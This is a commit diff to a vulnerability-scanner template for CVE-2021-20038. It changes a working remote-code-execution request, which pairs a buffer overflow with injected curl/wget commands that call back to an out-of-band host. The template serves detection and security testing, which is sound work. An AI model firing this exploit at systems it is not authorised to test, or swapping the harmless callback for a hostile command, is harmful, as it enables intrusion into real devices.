Update CVE-2021-20038.yaml

cves/2021/CVE-2021-20038.yaml

@@ -19,7 +19,7 @@ info:
 requests:
   - raw:
       - |
-        GET /{{prefix_addr}}{{system_addr}};{wget,http://{{interactsh-url}}};{{prefix_addr}}{{system_addr}};{wget,http://{{interactsh-url}}};?{{repeat("A", 518)}} HTTP/1.1
+        GET /{{prefix_addr}}{{system_addr}};{curl,http://{{interactsh-url}}+-H+'User-Agent%3a+{{rand_base(6)}}'};{{prefix_addr}}{{system_addr}};{curl,http://{{interactsh-url}}+-H+'User-Agent%3a+{{rand_base(6)}}'};?{{repeat("A", 518)}} HTTP/1.1
         Host: {{Hostname}}
 
     attack: clusterbomb
@@ -30,10 +30,16 @@ requests:
         - "%08%b7%06%08"  # for 10.2.1.2-24sv
         - "%64%b8%06%08"  # for 10.2.1.1-1[79]sv
 
+    matchers-condition: and
     matchers:
       - type: word
-        part: interactsh_protocol  # Confirms the HTTP Interaction
+        part: interactsh_protocol
         words:
           - "http"
 
+      - type: word
+        part: interactsh_request
+        words:
+          - "User-Agent: {{rand_base(6)}}"
+
 # Enhanced by mp on 2022/04/29